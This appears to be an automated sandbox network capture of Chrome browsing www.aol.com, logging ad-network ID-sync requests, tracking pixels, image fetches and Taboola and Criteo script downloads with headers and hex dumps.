2024-05-23 22:35:00 UTC	10080	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 10 11 11 17 14 17 2c 18 18 2c 5d 3e 35 3e 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d ff c2 00 11 08 00 c8 00 c8 03 01 11 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 04 05 02 03 06 07 00 01 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e7 b6 1e 21 22 ea 94 fb Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C,,]>5>]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]!"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.6	50050	124.146.153.167	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	696	OUT	GET /aux/idsync?proto=gumgum HTTP/1.1 Host: tg.socdm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	828	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 0 Connection: close Cache-Control: private Location: https://usersync.gumgum.com/usersync?b=sus&i=Zk-ElMCo8XwAALxnKz0AAAAA P3P: CP="See also http://www.scaleout.jp/privacy/" Set-Cookie: SOC=Zk-ElMCo8XwAALxnKz0AAAAA; path=/; expires=Sat, 23-May-26 22:35:00 GMT; domain=socdm.com; secure; SameSite=None X-SO-Ads-Time: 22 X-SO-HostName: a-ad40117.dc2p.scaleout.jp X-SO-LB-Hostname: m-tgng24.dc4p.scaleout.jp X-SO-LB-Data: {"ban":false,"clean_query":"\/aux\/idsync?proto=gumgum","cluster_id":0,"gdpr":false,"ipv4":"8.46.123.175","key":"Zk-ElMCo8XwAALxnKz0AAAAA","privacy_sensitive":false,"uid":"","upstream_id":"a-ad40117"} X-SO-Key: Zk-ElMCo8XwAALxnKz0AAAAA X-SO-IP: 8.46.123.175 X-SO-Cluster-ID: 0 X-SO-Upstream-ID: a-ad40117

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.6	50068	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	765	OUT	GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signature=77ee9557942a8dc5ca9aa76c5f9d2e4a4414d393 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1147	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 12588 Cache-Control: public, max-age=2592000 Cache-Tag: 261839266206918352339202126659389067885,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000147-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 99 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 261839266206918352339202126659389067885,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e Etag: "7a3c01bdd80a128af90be80040e887f8" Expiration: expiry-date="Thu, 25 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 26 Jan 2024 19:41:49 GMT Server: ECAcc (lhd/35E3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=200,height=200,bytes=11935,owidth=1600,oheight=900,obytes=477791,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000147-IAD X-Timer: S1716491115.962827,VS0,VE99 Content-Length: 11935 Connection: close
2024-05-23 22:35:00 UTC	11935	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 ff c2 00 11 08 00 c8 00 c8 03 01 11 00 02 11 01 03 11 01 ff c4 00 36 00 00 00 06 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 09 01 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 01 05 02 03 04 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ed 82 c8 59 0a f0 72 60 b5 8c c8 72 Data Ascii: JFIF&""&0-0>>T++&.%#%.&D5//5DNB>BN_UU_wqw6Yr`r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.6	50078	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	895	OUT	GET /sync/google/demand?sync=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync=CgoIoQEQqLvfvPoxCgoI5gEQqLvfvPoxCgoIhwIQqLvfvPoxCgoItwIQqLvfvPoxCgkIOhCou9-8-jEKCQgbEKi737z6MQoKCIwCEKi737z6MQoKCKwCEKi737z6MQoKCK0CEKi737z6MQoJCF8QqLvfvPox; tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:00 UTC	737	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:00 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:00 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.6	50075	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	758	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC=19cw~2ila
2024-05-23 22:35:00 UTC	433	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19cw~2ila;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:00 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-05-23 22:35:00 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 51 4d 37 67 31 61 4e 45 32 75 4a 78 38 50 31 77 67 69 78 6b 5a 72 39 55 38 6c 6c 4b 51 4f 45 47 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A"}
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.6	50089	151.101.193.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	635	OUT	GET /scripts/ifs.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21
2024-05-23 22:35:00 UTC	756	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2074 x-amz-id-2: Qv6qQWTfR0hzSdkjOyfnvhuo4T12LWXCMLpelqEu6mDKYsqv6xSeckN0nnRci7J2zrXzhV2W08M= x-amz-request-id: PYQC5754P5HWEDD2 x-amz-replication-status: COMPLETED Last-Modified: Sun, 12 Mar 2023 12:23:45 GMT ETag: "93d5bb91c9a48c4edbc164a65354b00c" x-amz-server-side-encryption: AES256 x-amz-version-id: hHYTz8VC1WtMBCSsI42K1YQZ3IXPhs3V Content-Type: application/javascript Server: AmazonS3 Accept-Ranges: bytes Age: 12850 Date: Thu, 23 May 2024 22:35:00 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890099-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716503700.207219,VS0,VE1 Cache-Control: private,max-age=14400 Vary: Accept-Encoding abp: 23 Access-Control-Allow-Origin: *
2024-05-23 22:35:00 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 22 74 73 64 74 6f 63 6c 22 2c 65 3d 22 21 2d 23 40 22 2c 74 3d 22 75 6c 22 2c 69 3d 22 68 74 74 70 73 3a 22 2c 6f 3d 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 30 63 32 52 30 62 32 4e 73 4c 6d 4e 76 62 51 3d 3d 22 29 2c 72 3d 7b 7d 2c 61 3d 69 2c 64 3d 2d 31 2c 63 2c 75 3b 74 72 79 7b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 72 5b 65 2e 69 64 5d 26 26 28 72 5b 65 2e 69 64 5d 28 65 29 2c 64 65 6c 65 74 65 20 72 5b 65 2e 69 64 5d 29 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 69 3b 74 72 79 7b 69 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 2e 64 61 74 61 29 7d 63 61 74 63 68 28 6e 29 7b 7d 69 26 26 69 2e 6e 61 6d 65 73 70 61 63 65 3d 3d 3d 6e 26 26 73 28 69 29 Data Ascii: !function(){var n="tsdtocl",e="!-#@",t="ul",i="https:",o=atob("aHR0cHM6Ly90c2R0b2NsLmNvbQ=="),r={},a=i,d=-1,c,u;try{var s=function n(e){r[e.id]&&(r[e.id](e),delete r[e.id])},w=function e(t){var i;try{i=JSON.parse(t.data)}catch(n){}i&&i.namespace===n&&s(i)
2024-05-23 22:35:00 UTC	696	IN	Data Raw: 55 73 65 72 49 64 2e 67 65 74 55 73 65 72 49 64 3f 77 69 6e 64 6f 77 2e 54 46 41 53 43 2e 74 66 61 55 73 65 72 49 64 2e 67 65 74 55 73 65 72 49 64 28 29 3a 6e 75 6c 6c 2c 74 3d 77 69 6e 64 6f 77 2e 54 52 43 26 26 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 2e 67 65 74 55 73 65 72 49 64 3f 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 2e 67 65 74 55 73 65 72 49 64 28 29 3a 6e 75 6c 6c 2c 69 3d 43 28 29 2c 6f 3d 62 28 29 3b 72 65 74 75 72 6e 20 65 7c 7c 74 7c 7c 69 7c 7c 6f 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e Data Ascii: UserId.getUserId?window.TFASC.tfaUserId.getUserId():null,t=window.TRC&&window.TRC.pageManager&&"function"==typeof window.TRC.pageManager.getUserId?window.TRC.pageManager.getUserId():null,i=C(),o=b();return e\|\|t\|\|i\|\|o},T=function n(e){window.addEventListen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.6	50079	52.212.30.128	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	748	OUT	GET /sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:00 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:00 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.6	50090	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	604	OUT	GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://cdn.taboola.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cdn.taboola.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	987	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:00 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:00 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: https://cdn.taboola.com Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 16888 Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:00 GMT Via: 1.1 varnish X-SERVICE-VERSION: v2 X-Served-By: cache-ewr18124-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503700.207300,VS0,VE18 X-vcl-time-ms: 18 transfer-encoding: chunked
2024-05-23 22:35:00 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-05-23 22:35:00 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-05-23 22:35:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.6	50082	52.212.30.128	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	742	OUT	GET /sync/triplelift/3476490108663385185440?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:00 UTC	868	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 0 Connection: close Location: https://eb2.3lift.com/xuid?mid=2662&xuid=y-gPhdo71E2oSdeaPLxAL9mEitt.dXnA67oJ7i7V0K1Q--~A&dongle=0883 Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.6	50076	178.250.1.3	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	544	OUT	GET /js/ld/publishertag.prebid.144.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	484	IN	HTTP/1.1 200 OK server: nginx date: Thu, 23 May 2024 22:35:00 GMT content-type: text/javascript content-length: 98590 last-modified: Fri, 27 Oct 2023 06:43:26 GMT etag: "653b5c0e-1811e" expires: Fri, 24 May 2024 22:35:00 GMT cache-control: max-age=86400 cross-origin-resource-policy: cross-origin cache-control: public timing-allow-origin: * access-control-allow-origin: * accept-ranges: bytes strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:00 UTC	11150	IN	Data Raw: 2f 2f 20 48 61 73 68 3a 20 69 6f 78 78 64 6a 48 44 7a 46 42 74 35 30 6a 73 4b 48 63 55 4c 6f 45 6a 66 50 6a 6e 37 46 75 70 48 55 4f 62 55 58 54 45 75 6c 48 31 69 49 6d 63 61 54 31 4f 59 59 71 34 6e 58 65 64 76 2b 76 36 79 73 74 4c 2f 6d 63 69 77 34 33 65 4e 32 4e 31 73 42 71 75 6b 45 63 42 31 47 33 79 4c 61 6f 7a 77 41 51 6f 5a 61 72 49 76 70 65 2b 6f 70 32 49 38 64 44 57 43 72 6e 6d 51 4c 35 61 41 33 54 52 46 41 32 68 49 47 4d 45 73 47 44 50 64 6c 6a 49 66 5a 6c 78 50 4b 42 35 54 74 38 72 5a 4d 6b 77 64 38 54 2b 37 55 45 4a 4f 44 6b 3d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 Data Ascii: // Hash: ioxxdjHDzFBt50jsKHcULoEjfPjn7FupHUObUXTEulH1iImcaT1OYYq4nXedv+v6ystL/mciw43eN2N1sBqukEcB1G3yLaozwAQoZarIvpe+op2I8dDWCrnmQL5aA3TRFA2hIGMEsGDPdljIfZlxPKB5Tt8rZMkwd8T+7UEJODk=!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototyp
2024-05-23 22:35:00 UTC	16384	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 76 69 64 65 6f 20 6f 62 6a 65 63 74 22 29 2c 6e 65 77 20 4d 28 76 6f 69 64 20 30 29 29 3a 6e 65 77 20 4d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 76 69 64 65 6f 43 61 6c 6c 62 61 63 6b 28 74 2e 47 65 6e 65 72 61 74 65 4d 65 73 73 61 67 65 28 29 29 7d 29 3a 28 72 65 28 74 68 69 73 2e 76 69 64 65 6f 50 6c 61 79 65 72 46 75 6e 63 74 69 6f 6e 2c 5b 7b 73 6c 6f 74 69 64 3a 74 68 69 73 2e 69 6d 70 72 65 73 73 69 6f 6e 49 64 2c 76 61 73 74 55 72 6c 3a 74 68 69 73 2e 76 61 73 74 55 72 6c 2c 76 61 73 74 58 6d 6c 3a 74 68 69 73 2e 76 61 73 74 58 6d 6c 7d 5d 29 2c 6e 65 77 20 4d 28 76 6f 69 64 20 30 29 29 7d 2c 61 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 65 6e 65 72 61 74 65 4d 65 73 73 61 67 65 3d 66 75 6e Data Ascii: function in video object"),new M(void 0)):new M(function(){return t.videoCallback(t.GenerateMessage())}):(re(this.videoPlayerFunction,[{slotid:this.impressionId,vastUrl:this.vastUrl,vastXml:this.vastXml}]),new M(void 0))},ae.prototype.GenerateMessage=fun
